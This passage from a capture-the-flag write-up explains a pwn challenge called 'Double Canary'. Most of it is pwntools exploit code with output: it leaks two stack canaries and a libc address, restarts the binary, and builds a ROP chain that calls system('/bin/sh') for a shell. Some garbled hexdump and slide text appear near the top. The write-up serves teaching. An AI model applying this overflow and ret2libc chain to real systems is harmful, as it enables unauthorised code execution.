00000	050 6f	20	74	65	6c	6c	20	6f	75	72	20	6d	61	72	6b	65	o te	11 o	ur m	arke	
00000	060 74	69	6e	67	20	74	65	61	6d	0a	41	6e	64	20	6f	75	ting	tea	m∙An	d ou	
00000	970 74	20	6f	66	20	36	20	73	74	61	72	73	20	68	6f	77	t of	6 s	tars	how	
00000	980 20	77	6f	75	6c	64	20	79	6f	75	20	72	61	74	65	20	wou	ld y	ou r	ate	
00000	990 74	68	65	20	73	65	72	76	69	63	65	20	79	6f	75	20	the	serv	ice	you	
00000	0a0 72	65	63	65	69	76	65	64	20	74	6f	64	61	79	3f	0a	rece	ived	tod	ay?•	
00000	0b0 3e	20															>				
00000	9b2																				

```
[*] hex(proper_canary)='0x706db8e07b141100'
```

Now exploiting the first overflow we can restart the program from entry again as we don't know libc addresses. We overflow both canaries, **RBP**, and finally the return address.

```
p.sendafter(b"> ", flat({
    16: [
      custom_canary,
      proper_canary,
      0x0, # rbp
      context.binary.symbols["_start"],
    ],
  }, length=6*8))
info("binary restarted now")
```

[*] binary restarted now

Security

🕸 Lightwire FIRST WATCH Ē INDUSTRIAL CYBER SECURI

Double Canary Cont.

Now that we have restarted the binary, we can exploit the third leak to get the base address of libc by writing 40 bytes. Note that ASLR addresses aren't re-randomised as we are technically still within the same execution.

```
p.sendafter(b"> ", cyclic(8)) # Skip first prompt
p.sendafter(b"> ", cyclic(40))
p.recvuntil(b"I haven't heard of that one - ")
third_leak = p.recvuntil(b" - I'll be sure to tell", drop=True)
# Extract libc leak and calculate base addr
libc_leak = unpack(third_leak[40:48], 'all')
libc.address = libc_leak - libc.libc_start_main_return
info(f"{hex(libc_leak)=}")
info(f"{hex(libc.address)=}")
```

[*] hex(libc_leak)='0x74eb72e29d90'
[*] hex(libc.address)='0x74eb72e00000'

We now have the custom canary, the regular canary, the address of **main**, and the base address of libc. This is everything we need to perform a ret2libc attack and give ourselves a shell to read the flag so let's restart the binary again so that we can use the large overflow for a ROP chain.

Author note: you might have found a **OneGadget** here in libc but we are going to do it properly.

```
p.sendafter(b"> ", flat({
    16: [
      custom_canary,
      proper_canary,
      0x0, # rbp
      context.binary.symbols["_start"],
    ],
    }, length=6*8))
info("binary restarted now")
```

```
[DEBUG] Sent 0x30 bytes:
    00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 aaaa baaa caaa daaa
    00000010 22 18 37 5d de e9 ad 00 00 11 14 7b e0 b8 6d 70 ".7] .... [.... [....]
    00000020 00 00 00 00 00 00 00 00 a1 e9 9d 31 57 00 00 .... ... ... 1W...
    00000030
```

```
[*] binary restarted now
```


CROU 🔶

Double Canary Cont.

Let's craft our ROP chain and make a call to libc system:

```
ropchain = ROP(libc)
ropchain.call(ropchain.find gadget(["ret"])) # insert a ret for stack alignment
ropchain.call("system", [next(libc.search(b"/bin/sh"))])
info(ropchain.dump())
p.sendafter(b"> ", cyclic(8)) # Skip the first prompt
# Send the exploit
p.sendafter(b"> ", flat({
  16: [
    custom_canary,
    proper_canary,
    0x0, # rbp
    ropchain.chain(),
  ],
}, length=128))
p.sendafter(b"> ", cyclic(8)) # Skip the third prompt
# The rop chain is running now!
info("rop chain running")
```

Finally, we can either drop to an interactive shell from pwntools or just send the commands we want to execute:

A runnable Jupyter Notebook can be found at: https://gist.github.com/Josh-Hogan/44d6b116c1d0244efd8665c9c73ce770

NZCSC{nice-work-taking-careful-care-of-the-canaries}

Credits

Challenge Authors:

Cale

Sam

Josh

Vimal

Kevin

Rav

Atthapan

Writeup Documentation:

Cale

Organisers:

University of Waikato

Cybersecurity Researchers of Waikato (CROW)

Sponsors:

Endace – Platinum Gallagher – Gold Lightwire – Silver First Watch - Silver

